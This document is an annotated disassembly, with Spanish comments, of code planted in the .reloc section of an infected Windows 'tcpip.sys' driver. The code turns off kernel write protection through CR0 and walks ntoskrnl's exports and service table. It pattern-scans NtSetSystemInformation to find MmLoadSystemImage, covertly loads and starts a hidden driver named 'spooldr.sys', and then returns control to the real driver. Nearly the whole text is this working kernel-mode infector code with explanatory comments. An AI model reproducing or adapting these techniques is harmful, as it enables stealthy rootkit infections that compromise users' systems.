.reloc:00067D80 .reloc:00067D80 ; =============== S U B R O U T I N E ======================================= .reloc:00067D80 .reloc:00067D80 .reloc:00067D80 public start .reloc:00067D80 start proc near .reloc:00067D80 push ebp .reloc:00067D81 push esi .reloc:00067D82 push ebx .reloc:00067D83 push edi .reloc:00067D84 .reloc:00067D84 ; obtener delta offset en EBP: .reloc:00067D84 .reloc:00067D84 call $+5 .reloc:00067D89 _delta: .reloc:00067D89 pop ebp .reloc:00067D8A sub ebp, 404F23h .reloc:00067D90 .reloc:00067D90 ; deshabilitar proteccion de escritura: .reloc:00067D90 .reloc:00067D90 mov eax, cr0 .reloc:00067D93 push eax .reloc:00067D94 and eax, 0FFFEFFFFh .reloc:00067D99 mov cr0, eax .reloc:00067D9C .reloc:00067D9C ; obtener base addr para este driver "tcpip.sys": .reloc:00067D9C .reloc:00067D9C call get_module_base ; out: EBX=base addr .reloc:00067DA1 .reloc:00067DA1 ; calcular host entry point y almacenar en "host_ep": .reloc:00067DA1 .reloc:00067DA1 mov [ebp+405269h], ebx .reloc:00067DA7 add ebx, [ebp+40525Dh] .reloc:00067DAD mov [ebp+405279h], ebx ; (680DFh: host_ep) .reloc:00067DB3 .reloc:00067DB3 ; cargar e inicializar driver principal "spooldr.sys": .reloc:00067DB3 .reloc:00067DB3 call load_and_init_drv .reloc:00067DB8 .reloc:00067DB8 ; habilitar proteccion de escritura: .reloc:00067DB8 .reloc:00067DB8 pop eax .reloc:00067DB9 mov cr0, eax .reloc:00067DBC .reloc:00067DBC ; restaurar orig regs: .reloc:00067DBC .reloc:00067DBC pop edi .reloc:00067DBD pop ebx .reloc:00067DBE pop esi .reloc:00067DBF .reloc:00067DBF ; saltar a host entry point: .reloc:00067DBF .reloc:00067DBF mov eax, ebp .reloc:00067DC1 pop ebp .reloc:00067DC2 jmp dword ptr [eax+405279h] ; (680DFh: host_ep) .reloc:00067DC2 start endp .reloc:00067DC2 .reloc:00067DC8 .reloc:00067DC8 ; =============== S U B R O U T I N E ======================================= .reloc:00067DC8 .reloc:00067DC8 .reloc:00067DC8 get_module_base proc near .reloc:00067DC8 push edx .reloc:00067DC9 call $+5 .reloc:00067DCE pop ebx ; obtener addr valida en este modulo .reloc:00067DCF and ebx, 0FFFFF000h ; alinear addr a page size 0x1000 .reloc:00067DD5 _getMZ: .reloc:00067DD5 movzx edx, word ptr [ebx] .reloc:00067DD8 xor dx, 8Fh ; xor trick :) .reloc:00067DDD cmp dx, 5AC2h .reloc:00067DE2 jz short _ret .reloc:00067DE4 sub ebx, 1000h ; restar 1page y comprobar de nuevo .reloc:00067DEA jmp short _getMZ .reloc:00067DEC _ret: .reloc:00067DEC pop edx .reloc:00067DED retn .reloc:00067DED get_module_base endp .reloc:00067DED .reloc:00067DEE .reloc:00067DEE ; =============== S U B R O U T I N E ======================================= .reloc:00067DEE .reloc:00067DEE .reloc:00067DEE get_ntos_base proc near .reloc:00067DEE mov edx, large fs:0 ; edx = kprcb .reloc:00067DF5 mov edx, [edx+4] ; edx = kprcb->kthread, se usa esta addr .reloc:00067DF5 ; (la del objeto kthread) para buscar .reloc:00067DF5 ; la base de ntos .reloc:00067DF8 xor dx, dx .reloc:00067DFB _getMZ: .reloc:00067DFB cmp word ptr [edx], 'ZM' .reloc:00067E00 jz short _ret .reloc:00067E02 sub edx, 1000h ; restar 1page y comprobar de nuevo .reloc:00067E08 jmp short _getMZ .reloc:00067E0A _ret: .reloc:00067E0A retn .reloc:00067E0A get_ntos_base endp .reloc:00067E0A .reloc:00067E0B .reloc:00067E0B ; =============== S U B R O U T I N E ======================================= .reloc:00067E0B .reloc:00067E0B .reloc:00067E0B get_ntos_exported_api proc near .reloc:00067E0B .reloc:00067E0B pusha .reloc:00067E0C .reloc:00067E0C ; obtener delta offset en EBP: .reloc:00067E0C .reloc:00067E0C call $+5 .reloc:00067E11 _delta: .reloc:00067E11 pop ebp .reloc:00067E12 sub ebp, 404FABh .reloc:00067E18 .reloc:00067E18 ; obtener base addr de ntoskrnl.exe: .reloc:00067E18 .reloc:00067E18 call get_ntos_base ; out: EDX=base addr .reloc:00067E1D .reloc:00067E1D ; obtener export dir y resolver api: .reloc:00067E1D .reloc:00067E1D mov [ebp+40513Bh], edx ; (67FA1h: ntos_base) ntos_base = edx .reloc:00067E23 mov ebx, edx .reloc:00067E25 mov edi, [ebx+IMAGE_DOS_HEADER.e_lfanew] .reloc:00067E28 add edi, edx ; edi = PE header .reloc:00067E2A add ebx, [edi+78h] ; ebx = ptr PE.Opthdr.DataDir[export_directory] .reloc:00067E2D mov ecx, [ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames] .reloc:00067E30 mov esi, [ebx+IMAGE_EXPORT_DIRECTORY.AddressOfNames] .reloc:00067E33 mov edi, [ebx+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] .reloc:00067E36 add esi, edx .reloc:00067E38 add edi, edx .reloc:00067E3A cld ; ecx = num names .reloc:00067E3A ; esi = ptr name pointer table .reloc:00067E3A ; edi = ptr export ordinal table .reloc:00067E3B _next_api_name: .reloc:00067E3B lodsd .reloc:00067E3C add eax, edx ; eax = api name ptr .reloc:00067E3E .reloc:00067E3E .reloc:00067E3E push ecx .reloc:00067E3F push edi .reloc:00067E40 .reloc:00067E40 .reloc:00067E40 xchg eax, esi .reloc:00067E41 .reloc:00067E41 .reloc:00067E41 mov edi, [ebp+40512Fh] .reloc:00067E47 mov ecx, [ebp+405133h] .reloc:00067E4D repe cmpsb ; comparar "ecx" bytes de api name .reloc:00067E4D ; "esi" con ptr_a_str1 "edi" .reloc:00067E4F xchg eax, esi .reloc:00067E50 .reloc:00067E50 .reloc:00067E50 pop edi .reloc:00067E51 pop ecx .reloc:00067E52 .reloc:00067E52 .reloc:00067E52 jz short _api_found .reloc:00067E54 inc edi ; edi += 2 (next ordinal) .reloc:00067E55 inc edi .reloc:00067E56 loop _next_api_name .reloc:00067E58 _api_found: .reloc:00067E58 xor eax, eax .reloc:00067E5A mov ax, [edi] .reloc:00067E5D shl eax, 2 ; eax = offset api en EOT .reloc:00067E60 mov esi, [ebx+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] .reloc:00067E63 add esi, edx .reloc:00067E65 add esi, eax .reloc:00067E67 lodsd .reloc:00067E68 add eax, edx ; eax = ptr api .reloc:00067E6A mov [ebp+405137h], eax ; (67F9Dh: api_addr) .reloc:00067E70 popa .reloc:00067E71 retn .reloc:00067E71 get_ntos_exported_api endp .reloc:00067E71 .reloc:00067E72 .reloc:00067E72 ; =============== S U B R O U T I N E ======================================= .reloc:00067E72 .reloc:00067E72 .reloc:00067E72 get_mmloadsystemimage proc near .reloc:00067E72 push esi .reloc:00067E73 push edx .reloc:00067E74 .reloc:00067E74 .reloc:00067E74 mov esi, [edx+40513Fh] .reloc:00067E7A .reloc:00067E7A ; esta rutina busca unos cuantos bytes "contiguos" que .reloc:00067E7A ; se corresponden con una serie de instrucciones .reloc:00067E7A ; previas a un "call MmLoadSystemImage" dentro de .reloc:00067E7A ; NtSetSystemInformation() .reloc:00067E7A ; .reloc:00067E7A ; El trozo de codigo en cuestion en ntoskrnl.exe dentro .reloc:00067E7A ; de NtSetSystemInformation() es el siguiente: .reloc:00067E7A ; .reloc:00067E7A ; PAGE:004C7F88: 57 push edi (buscar como "push esi") .reloc:00067E7A ; PAGE:004C7F89: 57 push edi (buscar como "push esi") .reloc:00067E7A ; PAGE:004C7F8A: 8D 85 6C FF FF FF lea eax, [ebp+var_94] (saltar) .reloc:00067E7A ; PAGE:004C7F90: 50 push eax (buscar) .reloc:00067E7A ; PAGE:004C7F91: E8 CF 0A 00 00 call _MmLoadSystemImage@24 ; MmLoadSystemImage(x,x,x,x,x,x) (solo buscar opcode) .reloc:00067E7A .reloc:00067E7A next_byte: .reloc:00067E7A xor eax, eax .reloc:00067E7C .reloc:00067E7C ; buscar instruccion "push edi", .reloc:00067E7C ; 1byte = 57h: .reloc:00067E7C lodsb .reloc:00067E7D and eax, 0FFFFFFFEh ; forzar "reg" operand en opcode de EDI(111) a ESI(110) .reloc:00067E80 cmp al, 56h .reloc:00067E82 jnz short next_byte .reloc:00067E84 .reloc:00067E84 ; buscar instruccion "push edi", .reloc:00067E84 ; 1byte = 57h: .reloc:00067E84 lodsb .reloc:00067E85 and eax, 0FFFFFFFEh ; forzar "reg" operand en opcode de EDI(111) a ESI(110) .reloc:00067E88 cmp al, 56h .reloc:00067E8A jnz short next_byte .reloc:00067E8C .reloc:00067E8C ; buscar primeros dos bytes de una instruccion lea: .reloc:00067E8C ; "lea eax, [ebp + disp32b]" .reloc:00067E8C ; opcode = 8Dh .reloc:00067E8C ; modrm byte = 85h: 10 000(dst=eax) 101(src=[ebp+disp32]) .reloc:00067E8C .reloc:00067E8C lodsw .reloc:00067E8E cmp ax, 858Dh .reloc:00067E92 jnz short next_byte .reloc:00067E94 add esi, 4 ; skip disp32 (4b) .reloc:00067E97 .reloc:00067E97 ; buscar instruccion "push eax" (50h) y opcode .reloc:00067E97 ; de instruccion call near relative (E8h). .reloc:00067E97 ; Al desplazamiento de la instruccion call se le suma .reloc:00067E97 ; la addr desde dicha instruccion (EIP) para obtener .reloc:00067E97 ; el puntero valido a la rutina MmLoadSystemImage() .reloc:00067E97 .reloc:00067E97 lodsw .reloc:00067E99 cmp ax, 0E850h .reloc:00067E9D jnz short next_byte .reloc:00067E9F lodsd .reloc:00067EA0 add eax, esi ; EAX= ptr MmLoadSystemImage() .reloc:00067EA2 .reloc:00067EA2 .reloc:00067EA2 pop edx .reloc:00067EA3 pop esi .reloc:00067EA4 .reloc:00067EA4 .reloc:00067EA4 retn .reloc:00067EA4 get_mmloadsystemimage endp .reloc:00067EA4 .reloc:00067EA5 .reloc:00067EA5 ; =============== S U B R O U T I N E ======================================= .reloc:00067EA5 .reloc:00067EA5 .reloc:00067EA5 load_and_init_drv proc near .reloc:00067EA5 pusha .reloc:00067EA6 .reloc:00067EA6 ; obtener delta offset en EDX: .reloc:00067EA6 .reloc:00067EA6 call $+5 .reloc:00067EAB _delta: .reloc:00067EAB pop edx .reloc:00067EAC sub edx, 405045h .reloc:00067EB2 .reloc:00067EB2 ; obtener addr ZwSetSystemInformation(): .reloc:00067EB2 .reloc:00067EB2 lea eax, [edx+4050FBh] ; (67F61h: a_str1) .reloc:00067EB8 mov [edx+40512Fh], eax .reloc:00067EBE mov dword ptr [edx+405133h], 16h .reloc:00067EC8 call get_ntos_exported_api .reloc:00067ECD .reloc:00067ECD ; obtener posicion de NtSetSystemInformation en SSDT: .reloc:00067ECD ; .reloc:00067ECD ; B8 XX 00 00 00: "mov eax,0XXh" .reloc:00067ECD .reloc:00067ECD mov esi, [edx+405137h] ; (67F9Dh: api_addr) esi = addr ZwSetSystemInformation (NtSetSystemInformation wrapper) .reloc:00067ED3 inc esi ; saltar opcode .reloc:00067ED4 lodsd ; eax = valor immediato (4bytes) .reloc:00067ED5 shl eax, 2 ; eax * 4 = offset valido en SSDT .reloc:00067ED8 mov [edx+40512Bh], eax ; (67F91h: api_idx_ssdt) .reloc:00067EDE .reloc:00067EDE ; obtener addr SSDT, KeServiceDescriptorTable: .reloc:00067EDE .reloc:00067EDE lea eax, [edx+405112h] ; (67F78h: a_str2) .reloc:00067EE4 mov [edx+40512Fh], eax .reloc:00067EEA mov dword ptr [edx+405133h], 18h .reloc:00067EF4 call get_ntos_exported_api .reloc:00067EF9 .reloc:00067EF9 ; obtener addr NtSetSystemInformation(): .reloc:00067EF9 .reloc:00067EF9 mov eax, [edx+405137h] ; (67F9Dh: api_addr) .reloc:00067EFF mov eax, [eax] .reloc:00067F01 mov ecx, [edx+40512Bh] .reloc:00067F07 mov eax, [eax+ecx] .reloc:00067F0A mov [edx+40513Fh], eax ; (67FA5h: NtSetSystemInformation_addr) .reloc:00067F10 .reloc:00067F10 ; obtener addr MmLoadSystemImage(): .reloc:00067F10 ; .reloc:00067F10 ; NTSTATUS .reloc:00067F10 ; MmLoadSystemImage( .reloc:00067F10 ; IN PUNICODE_STRING ImageFileName, .reloc:00067F10 ; IN PUNICODE_STRING NamePrefix (opt), .reloc:00067F10 ; IN PUNICODE_STRING LoadedBaseName (opt), .reloc:00067F10 ; IN ULONG LoadFlags, .reloc:00067F10 ; OUT PVOID *ImageHandle, .reloc:00067F10 ; OUT PVOID *ImageBaseAddress ) .reloc:00067F10 .reloc:00067F10 call get_mmloadsystemimage ; out: EAX = addr .reloc:00067F15 .reloc:00067F15 ; cargar driver "spooldr.sys": .reloc:00067F15 .reloc:00067F15 mov edi, eax ; edi = MmLoadSystemImage() .reloc:00067F17 push edx .reloc:00067F18 lea eax, [edx+40514Bh] .reloc:00067F1E mov [edx+405191h], eax .reloc:00067F24 .reloc:00067F24 .reloc:00067F24 lea eax, [edx+405143h] .reloc:00067F2A push eax ; ImageBaseAddress = &image_base_addr .reloc:00067F2B lea eax, [edx+405147h] .reloc:00067F31 push eax ; ImageHandle = &image_handle .reloc:00067F32 xor eax, eax .reloc:00067F34 push eax ; LoadFlags = 0 .reloc:00067F35 push eax ; LoadedBaseName = NULL .reloc:00067F36 push eax ; NamePrefix = NULL .reloc:00067F37 lea eax, [edx+40518Dh] .reloc:00067F3D push eax ; ImageFileName = &us (unicode string) .reloc:00067F3E call edi .reloc:00067F40 .reloc:00067F40 ; comprobar carga del driver: .reloc:00067F40 .reloc:00067F40 pop edx .reloc:00067F41 test eax, eax .reloc:00067F43 jnz short _ret ; si ret != NT_STATUS error .reloc:00067F45 .reloc:00067F45 ; si el driver se ha cargado correctamente .reloc:00067F45 ; se localiza y se salta al entry point .reloc:00067F45 ; (la base de carga esta en image_base_addr) .reloc:00067F45 ; asi se inicializa el driver. Cuando se termina .reloc:00067F45 ; se retorna y se termina la ejecucion de todo .reloc:00067F45 ; este codigo para retornar al host entry point .reloc:00067F45 .reloc:00067F45 mov edi, [edx+405143h] .reloc:00067F4B mov ebx, [edi+IMAGE_DOS_HEADER.e_lfanew] ; ebx = rva pe hdr .reloc:00067F4E mov ebx, [edi+ebx+28h] ; ebx = rva entry point (pe hdr + 28h) .reloc:00067F52 add edi, ebx ; edi = addr entry point de spooldr.sys .reloc:00067F54 push 0 .reloc:00067F56 lea eax, [edx+405195h] .reloc:00067F5C push eax .reloc:00067F5D call edi .reloc:00067F5F _ret: .reloc:00067F5F popa .reloc:00067F60 retn .reloc:00067F60 load_and_init_drv endp .reloc:00067F60 .reloc:00067F61 a_str1 db 'ZwSetSystemInformation',0 .reloc:00067F78 a_str2 db 'KeServiceDescriptorTable',0 .reloc:00067F91 api_idx_ssdt dd 0 .reloc:00067F95 ptr_a_str dd 0 .reloc:00067F99 compare_bytes dd 0 .reloc:00067F9D api_addr dd 0 .reloc:00067FA1 ntos_base dd 0 .reloc:00067FA5 NtSetSystemInformation_addr dd 0 .reloc:00067FA9 image_base_addr dd 0 .reloc:00067FAD image_handle dd 0 .reloc:00067FB1 w_drvname db 5Ch .reloc:00067FB2 db 0 .reloc:00067FB3 db 53h ; S .reloc:00067FB4 db 0 .reloc:00067FB5 db 79h ; y .reloc:00067FB6 db 0 .reloc:00067FB7 db 73h ; s .reloc:00067FB8 db 0 .reloc:00067FB9 db 74h ; t .reloc:00067FBA db 0 .reloc:00067FBB db 65h ; e .reloc:00067FBC db 0 .reloc:00067FBD db 6Dh ; m .reloc:00067FBE db 0 .reloc:00067FBF db 52h ; R .reloc:00067FC0 db 0 .reloc:00067FC1 db 6Fh ; o .reloc:00067FC2 db 0 .reloc:00067FC3 db 6Fh ; o .reloc:00067FC4 db 0 .reloc:00067FC5 db 74h ; t .reloc:00067FC6 db 0 .reloc:00067FC7 db 5Ch ; \ .reloc:00067FC8 db 0 .reloc:00067FC9 db 53h ; S .reloc:00067FCA db 0 .reloc:00067FCB db 59h ; Y .reloc:00067FCC db 0 .reloc:00067FCD db 53h ; S .reloc:00067FCE db 0 .reloc:00067FCF db 54h ; T .reloc:00067FD0 db 0 .reloc:00067FD1 db 45h ; E .reloc:00067FD2 db 0 .reloc:00067FD3 db 4Dh ; M .reloc:00067FD4 db 0 .reloc:00067FD5 db 33h ; 3 .reloc:00067FD6 db 0 .reloc:00067FD7 db 32h ; 2 .reloc:00067FD8 db 0 .reloc:00067FD9 db 5Ch ; \ .reloc:00067FDA db 0 .reloc:00067FDB db 73h ; s .reloc:00067FDC db 0 .reloc:00067FDD db 70h ; p .reloc:00067FDE db 0 .reloc:00067FDF db 6Fh ; o .reloc:00067FE0 db 0 .reloc:00067FE1 db 6Fh ; o .reloc:00067FE2 db 0 .reloc:00067FE3 db 6Ch ; l .reloc:00067FE4 db 0 .reloc:00067FE5 db 64h ; d .reloc:00067FE6 db 0 .reloc:00067FE7 db 72h ; r .reloc:00067FE8 db 0 .reloc:00067FE9 db 2Eh ; . .reloc:00067FEA db 0 .reloc:00067FEB db 73h ; s .reloc:00067FEC db 0 .reloc:00067FED db 79h ; y .reloc:00067FEE db 0 .reloc:00067FEF db 73h ; s .reloc:00067FF0 db 0 .reloc:00067FF1 db 0 .reloc:00067FF2 db 0 .reloc:00067FF3 us_Length dw 40h .reloc:00067FF5 us_MaximumLength dw 44h .reloc:00067FF7 us_Buffer dd 0 ; (ptr w_drvname) .reloc:00067FFB dd9 dd 0 .reloc:00067FFF db 0 .reloc:00068000 db 0 .reloc:00068001 db 0 .reloc:00068002 db 0 .reloc:00068003 db 0 .reloc:00068004 db 0 .reloc:00068005 db 0 .reloc:00068006 db 0 .reloc:00068007 db 0 .reloc:00068008 db 0 .reloc:00068009 db 0 .reloc:0006800A db 0 .reloc:0006800B db 0 .reloc:0006800C db 0 .reloc:0006800D db 0